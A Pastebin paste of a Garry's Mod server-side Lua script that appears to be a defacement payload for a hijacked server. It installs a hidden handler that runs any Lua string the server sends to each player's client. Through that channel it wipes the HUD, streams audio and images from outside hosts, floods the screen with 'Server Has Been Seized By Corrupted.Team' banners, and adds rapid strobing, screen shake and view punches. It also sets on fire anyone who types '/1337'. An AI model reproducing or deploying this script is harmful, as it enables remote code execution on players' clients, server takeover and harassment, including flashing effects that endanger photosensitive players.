2much4Us

Untitled

Jul 2nd, 2018
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.21 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67. --Sequence stack
  68. --Start some tunes and steam in our assets
  69. lol:PushAction( 0, function( pPlayer )
  70. lol:SendLua( pPlayer, ([=[
  71. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  72.  
  73. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  74. local html = [[%s]]
  75. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  76. local pnl = vgui.Create( "HTML" )
  77. pnl:SetPos( ScrW() -1, ScrH() -1 )
  78. pnl:SetVisible( true )
  79. pnl:SetMouseInputEnabled( false )
  80. pnl:SetKeyBoardInputEnabled( false )
  81. pnl:SetSize( intSizeX, intSizeY )
  82. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  83.  
  84. local PageLoaded
  85. PageLoaded = function()
  86. local mat = pnl:GetHTMLMaterial()
  87. if mat then
  88. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  89. return
  90. end
  91.  
  92. timer.Simple( 0.5, PageLoaded )
  93. end
  94.  
  95. PageLoaded()
  96. end
  97.  
  98.  
  99. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
  100. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  101. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  102. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "doritos", 183, 256 )
  103. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "fedora", 256, 256 )
  104. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "dew", 110, 256 )
  105. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "awp", 256, 55 )
  106. ]=]):format(lol.m_strImageLoadHTML) )
  107. end )
  108.  
  109. --HUD swap
  110. lol:PushAction( 31, function( pPlayer )
  111. lol:SendLua( pPlayer, [[
  112. (GAMEMODE or GM).CalcView = function() end
  113. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  114.  
  115. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  116. for k, v in pairs(remove) do
  117. hook.GetTable()[v] = {}
  118. end
  119.  
  120. local function GetWebMat( strURL )
  121. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  122. end
  123.  
  124. hook.Add( "HUDPaint", "newhud", function()
  125. surface.SetDrawColor( 255, 255, 255, 255 )
  126.  
  127. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("http://zimb.club/zimb/disco2.gif")
  128. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("http://zimb.club/zimb/disco2.gif")
  129.  
  130. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  131. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  132.  
  133. surface.PlaySound( "garrysmod/save_load4.wav" )
  134. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  135. ]] )
  136. end )
  137.  
  138. --Disco time
  139. lol:PushAction( 10, function( pPlayer )
  140. local idx = pPlayer:EntIndex()
  141. timer.Create( "beat".. idx, 0.42, 0, function()
  142. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  143. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  144. end )
  145.  
  146. lol:SendLua( pPlayer, [[
  147. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  148. local time = 0
  149.  
  150. hook.Add( "Think", "wat", function()
  151. if CurTime() < time then
  152. return
  153. end
  154.  
  155. time = CurTime() +0.05
  156. for i = 1, 16 do
  157. local part = emitter:Add(
  158. "particles/balloon_bit",
  159. LocalPlayer():GetPos() +Vector(
  160. math.random( -256, 256 ),
  161. math.random( -256, 256 ),
  162. 256
  163. )
  164. )
  165.  
  166. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  167. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  168. local newsPan1 = vgui.Create("DPanel")
  169. newsPan1:SetSize(ScrW(), 150)
  170. newsPan1:SetPos(0, ScrH()-150)
  171. newsPan1.Paint = function()
  172. surface.SetDrawColor(255,255,255,255)
  173. surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
  174. surface.SetDrawColor(190,10,10,255)
  175. surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
  176. end
  177. local newsPan2 = vgui.Create("DPanel")
  178. newsPan2:SetSize(ScrW(),ScrH())
  179. newsPan2:SetPos(0,0)
  180. newsPan2.Paint = function()
  181. local trap3 = {
  182. {x = ScrW()-504, y = ScrH()-150},
  183. {x = ScrW()-439, y = ScrH()-254},
  184. {x = ScrW(), y = ScrH()-254},
  185. {x = ScrW(), y = ScrH()-150},
  186. }
  187. local trap4 = {
  188. {x = ScrW()-500, y = ScrH()-146},
  189. {x = ScrW()-435, y = ScrH()-250},
  190. {x = ScrW(), y = ScrH()-250},
  191. {x = ScrW(), y = ScrH()-146},
  192. }
  193. local trap5 = {
  194. {x = ScrW()-475, y = ScrH()-156},
  195. {x = ScrW()-432, y = ScrH()-235},
  196. {x = ScrW()-8, y = ScrH()-235},
  197. {x = ScrW()-8, y = ScrH()-156},
  198. }
  199. draw.NoTexture()
  200. surface.SetDrawColor(255,255,255,255)
  201. surface.DrawPoly(trap3)
  202. draw.NoTexture()
  203. surface.SetDrawColor(200,20,20,255)
  204. surface.DrawPoly(trap4)
  205. draw.NoTexture()
  206. surface.SetDrawColor(190,10,10,180)
  207. surface.DrawPoly(trap5)
  208. end
  209. local title2 = vgui.Create("DLabel", newsPan2)
  210. title2:SetFont("NEWS1")
  211. title2:SetText("Gmod News")
  212. title2:SizeToContents()
  213. title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
  214. title2:SetColor(Color(255,255,255))
  215.  
  216. local title3 = vgui.Create("DLabel", newsPan1)
  217. title3:SetFont("NEWS2")
  218. title3:SetText("Breaking News " .. GetHostName() .. " Has Been Seized By Corrupted.Team")
  219. title3:SizeToContents()
  220. title3:SetPos(ScrW(), 10)
  221. title3:SetColor(Color(255,255,255))
  222. timer.Create("movingtext2",.05,0,function()
  223. if title3:GetPos() >= 0-title3:GetWide() then
  224. title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
  225. else
  226. title3:SetPos(ScrW(),10)
  227. end
  228. end)
  229.  
  230. surface.CreateFont( "SPAM", {font = "Arial",size = 55,weight = 2000,})
  231. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("http://zimb.club/zimb/disco2.gif")
  232. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("http://zimb.club/zimb/disco2.gif")
  233. hook.Add( "HUDPaint", "Lines", function()
  234. local center = Vector(ScrW()/2, ScrH()/2, 0)
  235. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 5 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  236. for i = 1,32 do surface.DrawLine(center.x,center.y, math.random(0,ScrW()), math.random(0,ScrH())) end
  237. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 3 * 500 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  238. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  239. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 7 * 150 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  240. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  241. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 15 * 125 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  242. for i = 1,32 do surface.DrawLine(ScrW(),1, math.random(0,ScrW()), math.random(0,ScrH())) end
  243. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 25 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  244. for i = 1,32 do surface.DrawLine(1,ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  245. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 40 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  246. for i = 1,32 do surface.DrawLine(ScrW(),ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  247. local col = 100 for i=0, col, 1 do rainbow = HSVToColor(CurTime() % 5 * 150 + i,1,1) end
  248. local col = 100 for i=0, col, 1 do r = HSVToColor(CurTime() % 30 * 150 + i,1,1) end
  249. for i = 1,32 do draw.SimpleTextOutlined("CORRUPTION.TEAM","SPAM",math.random(0,ScrW()-35), math.random(0,ScrH()-1),Color(rainbow.r,rainbow.g,rainbow.b),TEXT_ALIGN_CENTER,TEXT_ALIGN_TOP,3,Color(math.random(1,255),math.random(1,255),math.random(1,255))) end
  250. end)
  251.  
  252. if part then
  253. local Size = math.random( 4, 7 )
  254.  
  255. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  256. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  257. part:SetDieTime( 4.5 )
  258. part:SetGravity( Vector(40, 0, -250) )
  259. part:SetLifeTime( 0 )
  260. part:SetStartSize( Size /2 )
  261. part:SetEndSize( Size )
  262. part:SetCollide( true )
  263. end
  264. end
  265. end )
  266. ]] )
  267.  
  268. lol:SendLua( pPlayer, [[
  269. hook.Add( "RenderScreenspaceEffects", "wat", function()
  270. local sinScaler = math.sin( CurTime() )
  271. DrawBloom(
  272. 0,
  273. 3,
  274. sinScaler *math.Rand(1, 8),
  275. sinScaler *math.Rand(1, 8),
  276. 6,
  277. math.Rand(0.5, 2),
  278. math.Rand(0, 0.3),
  279. math.Rand(0, 0.3),
  280. math.Rand(0.5, 1)
  281. )
  282.  
  283. DrawColorModify{
  284. ["$pp_colour_addr"] = 1,
  285. ["$pp_colour_addg"] = 0,
  286. ["$pp_colour_addb"] = 00,
  287. ["$pp_colour_brightness" ] = 0,
  288. ["$pp_colour_contrast" ] = 1,
  289. ["$pp_colour_colour" ] = 1,
  290. ["$pp_colour_mulr" ] = 0,
  291. ["$pp_colour_mulg" ] = 0,
  292. ["$pp_colour_mulb" ] = 0
  293. }
  294. end )
  295.  
  296. local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH )
  297. mdl:SetNoDraw( true )
  298. local posCache, time = {}, 0
  299.  
  300. hook.Add( "HUDPaint", "dance", function()
  301. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  302. local idx = mdl:LookupSequence("taunt_dance")
  303. mdl.SeqDuration = mdl:SequenceDuration( idx )
  304. mdl.SeqStart = CurTime()
  305. mdl:ResetSequence( idx )
  306. end
  307.  
  308. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  309.  
  310.  
  311. local w, h = 300, 300
  312. local ang = Angle( 0, 0, 0 )
  313.  
  314. for i = 1, 32 do
  315. if CurTime() > time then
  316. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  317. end
  318. local x, y = posCache[i][1], posCache[i][2]
  319.  
  320. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  321. cam.IgnoreZ( true )
  322. render.SuppressEngineLighting( true )
  323.  
  324. render.SetLightingOrigin( mdl:GetPos() )
  325. render.ResetModelLighting( 1, 1, 1 )
  326. render.SetColorModulation( 0, 0, 1 )
  327.  
  328. mdl:DrawModel()
  329.  
  330. render.SuppressEngineLighting( false )
  331. cam.IgnoreZ( false )
  332. cam.End3D()
  333. end
  334.  
  335. if CurTime() > time then
  336. time = CurTime() +0.15
  337. end
  338. end )
  339.  
  340. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  341. ]] )
  342. end )
  343.  
  344. --Let the beat drop
  345. lol:PushAction( 54, function( pPlayer )
  346. lol:SendLua( pPlayer, [[
  347. hook.Add( "GetMotionBlurValues", "wat", function()
  348. return 0, 0, 1, math.sin(CurTime() *13)
  349. end )
  350.  
  351. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  352. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  353. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  354. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  355. end )
  356.  
  357. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  358. render.SetMaterial( Material("cable/blue_elec") )
  359. for i = 1, 32 do
  360. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  361. end
  362. end )
  363.  
  364. timer.Create( "thedrop", 0.42, 0, function()
  365. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  366. end )
  367. ]] )
  368. end )
Advertisement
Add Comment
Please, Sign In to add comment